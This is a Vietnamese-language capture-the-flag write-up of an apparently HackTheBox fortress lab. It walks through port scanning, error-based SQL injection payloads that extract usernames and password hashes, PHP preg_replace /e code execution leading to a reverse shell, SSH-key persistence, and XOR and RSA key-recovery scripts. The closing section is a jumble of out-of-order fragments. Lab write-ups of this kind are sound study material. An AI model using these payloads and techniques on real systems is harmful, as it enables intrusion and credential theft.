Connect vpn fortesses và view web page ở port 80 có thể có được flag đầu tiên sanity check
2. Digging in...
Scan Port service với Rustscan ( cho nhanh ) hoặc nmap , và scan qua directory với default wordlist bằng dirsearch
-> result service scan :
-> result scan cũng trả về status code 403
-> ở đây thường 1 số case sẽ truy xuất được domain name server -> add vào hosts để truy cập web page source -> có thể sử dụng dig tool để làm việc này , truy xuất DNS system
trước tiên decode đoạn char trong hàm String.fromCharCode để xem nó hiển thị gì :
decoded_string = ''.join([chr(c) for c in [102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,41,10,123,10,32,32,32,32,36,46,97,106,97,120,40,123,117,114,108,58,32,34,47,100,105,114,98,95,115,97,102,101,95,100,105,114,95,114,102,57,69,109,99,69,73,120,47,97,100,109,105,110,47,115,116,97,116,115,46,112,104,112,34,44,10,10,32,32,32,32,32,32,32,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,36,40,39,35,97,116,116,97,99,107,115,39,41,46,104,116,109,108,40,114,101,115,117,108,116,41,10,32,32,32,32,125,44,10,32,32,32,32,101,114,114,111,114,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,114,101,115,117,108,116,41,59,10,32,32,32,32,125,125,41,59,10,125,10,103,101,116,83,116,97,116,115,40,41,59,10,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,32,103,101,116,83,116,97,116,115,40,41,59,32,125,44,32,49,48,48,48,48,41,59]])
decoded_string
-> có link truy cập đến 1 file có 1 thông số có thể là về function nào đó :
-> khi back về /admin -> web trỏ sang trang login
View source trang login có thể thấy flag thứ 3
4. Bypassing Authentication
-> sẽ cần bypass authen ở trang login để đi tiếp
-> test SQLi
time base test có thể nhận ra bị delay theo thời gian ta query
manual test :
-> lấy thông tin database :
' or (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
-> truy xuất thông tin database
' or (select 1 from(select count(*),concat((select mid((ifnull(cast(username as nchar),0x20)),1,54) from users limit 0,1),0x3a,(select mid((ifnull(cast(password as nchar),0x20)),1,54) from users limit 0,1),0x20,floor(rand(0)*2))x from information_schema.plugins group by x)a)-- -
-> có được hash password và thông tin username admin
-> sqlmap query
-> save request login từ burpsuite và chạy quét qua file save
-> result
-> tìm thấy database jetadmin -> truy cập data trong đây
-> tìm được password được lưu dưới hash -> crack với john và có được password admin
sau khi login có thể tìm thấy flag thứ 4 ( giao diện khá giống clone từ AdminLTE )
5. Command
Kéo xuống dưới có thể thấy phần send email -> test 1 vài lỗi ở đây , vì mục tiêu tiếp theo là gaining acesss nên ta sẽ test các lỗi có thể trigger os command và có được foothold trước
-> cụ thể test OS command
request post đi khá đáng chú ý về cách handle message :
swearwords[/fuck/i]=make love
&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind
&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort
&swearwords[/asshole/i]=bad person&to=meomeo@gmail.com
&subject=math&message=<p>ls<
có thể thấy đây là output của hàm preg_replace trong php
-> từ đây tiếp tục search thêm về 1 số exploit liên quan đến cách xử lí của hàm này
Từ bài blog -> có thể thấy khi sử dụng modifier e trong PHP từ hàm preg_replace(), cho phép PHP thực thi bất kỳ mã nào được thay thế trong chuỗi.
-> Điều này có thể dẫn đến lỗ hổng thực thi mã từ xa (Remote Code Execution - RCE) nếu không xử lý đầu vào một cách cẩn thận.
Khi sử dụng e modifier, PHP sẽ coi replacement như một biểu thức và thực thi nó thay vì chỉ đơn thuần thay thế chuỗi.
Nếu replacement chứa mã PHP từ đầu vào của người dùng, mã này sẽ được thực thi. Đây là một trong những rủi ro bảo mật phổ biến khi sử dụng preg_replace với e.
Modifier i và e trong biểu thức chính quy (preg_replace) của PHP có sự khác biệt cơ bản về chức năng và cách hoạt động:
Vì sao lại vậy ->
Modifier i:
i là viết tắt của case-insensitive, tức là không phân biệt chữ hoa và chữ thường.
Khi sử dụng i, biểu thức chính quy sẽ tìm kiếm chuỗi mà không quan tâm đến chữ hoa hay chữ thường. Ví dụ: /test/i sẽ khớp với cả "Test", "TEST", và "test".
i chỉ ảnh hưởng đến cách khớp chuỗi và không hề can thiệp vào việc thực thi mã hoặc đánh giá biểu thức. Do đó, nó không có rủi ro bảo mật trực tiếp nào.
Modifier e:
e là viết tắt của evaluate (đánh giá), cho phép PHP thực thi mã PHP trong biểu thức thay thế khi khớp chuỗi.
Khi sử dụng e, preg_replace sẽ xem nội dung của phần thay thế như một đoạn mã PHP và thực thi nó.
Điều này có nghĩa là bất kỳ mã PHP nào trong phần thay thế đều sẽ được thực thi
-> tận dụng điều này -> modify i -> e trong request gửi đi và test command execute
-> trigger thành công -> chèn command để send rev-shell để lấy acess vào server
-> cần thử 1 vài shell mới trigger và có connect thành công ( test 3-4 cái shell sh khác nhau )
6. Overflown
Upgrade cái shell lên để nhìn cho dễ hơn :
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
-> sau đó ctrl + Z
connect lại :
stty raw -echo; fg
Xác định version system linux hiện tại và tìm suid :
note : trên lí thuyết là sẽ như thế và có thể thấy 1 số bài writeup sẽ làm kiểu như này nhưng mà hiện tại mình giải bài này thì mở port kiểu gì cũng không connect được nên phải dùng cách khác
Ở đây check server cài pwntools cho python2.7 -> sửa script attach vào file /home/leak và curl file sang target machine -> chạy trực tiếp trên server
-> di chuyển file : mở python server ở máy attack sau đó ở máy target curl file về là được, tên file đặt tuỳ ý
-> script sẽ chạy với python2
Nên tạo ssh key để duy trì connect vì sẽ rất nhanh mất connect đến alex shell
-> gen 1 key trên attack machine , copy pub key vào .ssh/authorized_keys
7. Secret Message
sử dụng scp -> chuyển hết file về để dễ phân tích
scp -i ssh_private_key -r alex@10.13.37.10:"*" .
sẽ cần decrypt message -> có thể có password file zip để mở file :
file crypt.py :
import binascii
def makeList(stringVal):
list = []
for c in stringVal:
list.append(c)
return list
def superCrypt(stringVal,keyVal):
keyPos = 0
key = makeList(keyVal)
xored = []
for c in stringVal:
xored.append(binascii.hexlify(chr(ord(c) ^ ord(keyVal[keyPos]))))
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
hexVal = ''
for n in xored:
hexVal += n
return hexVal
with open('message.txt') as f:
content = f.read()
key = sys.argv[1]
with open('encrypted.txt', 'w') as f:
output = f.write(binascii.unhexlify(superCrypt(content, key)))
Xor đơn giản không có gì đáng chú ý
bruteforce thôi ( có thể viết script ) -> cần key , tìm key
-> tạo 1 cái script với cả plain text char đằng sau
và crack file zip với john (zip2john để lấy hash của file zip trước sau đó crack với wordlist là các key vừa gen )
còn ở đây mình đã crack rồi
-> decrypt với key có được :
#!/usr/bin/python3
import binascii
def makeList(stringVal):
return [c for c in stringVal]
def decrypt(hexVal, keyVal):
keyPos = 0
key = makeList(keyVal)
xored = b''
for i in range(0, len(hexVal), 2):
byte = bytes.fromhex(hexVal[i:i+2])[0]
xored += bytes([byte ^ ord(key[keyPos])])
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
return xored.decode()
with open('encrypted.txt', 'rb') as f:
content = f.read()
message = decrypt(content.hex(), 'key_crack_here') # thay bằng key là được
print(message)
8. Elasticity
service -> host detect and query của bên soc -> check port listen service
forward port về thôi ( 9300 , 9200 , forward cả về )
Cluster của Elasticsearch: Elasticsearch là một hệ thống tìm kiếm và phân tích phân tán. Một cluster là tập hợp các nút (nodes) của Elasticsearch làm việc cùng nhau.
Dùng java hoặc python viết script connect lên đều được
dùng java :
import java.net.InetSocketAddress;
import java.net.InetAddress;
import java.util.Map;
import org.elasticsearch.action.admin.indices.exists.indices.IndicesExistsResponse;
import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexRequest;
import org.elasticsearch.transport.client.PreBuiltTransportClient;
import org.elasticsearch.cluster.health.ClusterIndexHealth;
import org.elasticsearch.common.transport.TransportAddress;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.IndicesAdminClient;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.client.Client;
public class Program {
public static void main(String[] args) {
byte[] ipAddr = new byte[]{10, 13, 37, 10};
Client client = new PreBuiltTransportClient(Settings.EMPTY)
.addTransportAddress(new TransportAddress(new InetSocketAddress("10.13.37.10", 8080)));
System.out.println(client.toString());
ClusterHealthResponse healths = client.admin().cluster().prepareHealth().get();
for (ClusterIndexHealth health : healths.getIndices().values()) {
String index = health.getIndex();
System.out.println(index);
}
SearchResponse searchResponse = client.prepareSearch("test").execute().actionGet();
SearchHit[] results = searchResponse.getHits().getHits();
for(SearchHit hit : results){
String sourceAsString = hit.getSourceAsString();
System.out.println(sourceAsString);
}
client.close();
}
}
#!/usr/bin/python3
from Crypto.PublicKey import RSA
file = open("public.crt", "r")
key = RSA.importKey(file.read())
e = key.e
n = key.n
p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083
q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199
m = n - (p + q - 1)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise
else:
return x % m
d = modinv(e, m)
key = RSA.construct((n, e, d, p, q))
print(key.exportKey().decode())
mình hơi lười nên mình sẽ để script ở đây, ko có gì nhiều chủ yếu là rsa :
👿
👍
👍
khá đáng chú ý vào port 22,53 , port 5555 trở lên
không có gì đáng kể lắm -> thử traversal và detect với path mới này
-> Sqli
tìm được tên database là jetadmin
trông bình thường nhỉ -> chủ yêu view burpsuite để test nên nhập đơn giản trước
lúc send message , message param cần chứa filed thực thi command thay vì message text thông thường
đọc file flag có thể thấy trong www-data user ở đây và có được flag thứ 5
trông dễ tương tác hơn 1 chút rồi
phiên bản này search khá nhiều lỗi như double free, race condition ,... còn ở file đã cung cấp có thể là buffer overflow -> đến shellcode
kéo file về local machine để phân tích trước đã
not stripped
chuyển sang alex thành công
giờ có thể đọc file flag rồi -> tiện chyển các file crypto , exploit gì kia về để làm các bước tiếp liên quan đến crypto
duy trì connect sẽ lâu dài hơn và di chuyển các file sẽ dễ dàng hơn
length 17 có tỉ lệ khá cao
gen mớ sau bin với các char khả thi
có flag thứ 7 và thông tin về các port cho các chall tiếp theo ngoài ra có thêm 2 file về pwn sau khi giải nén , :) mình nghĩ mình sẽ đi hỏi thêm về 2 bài này là memo và membermanager member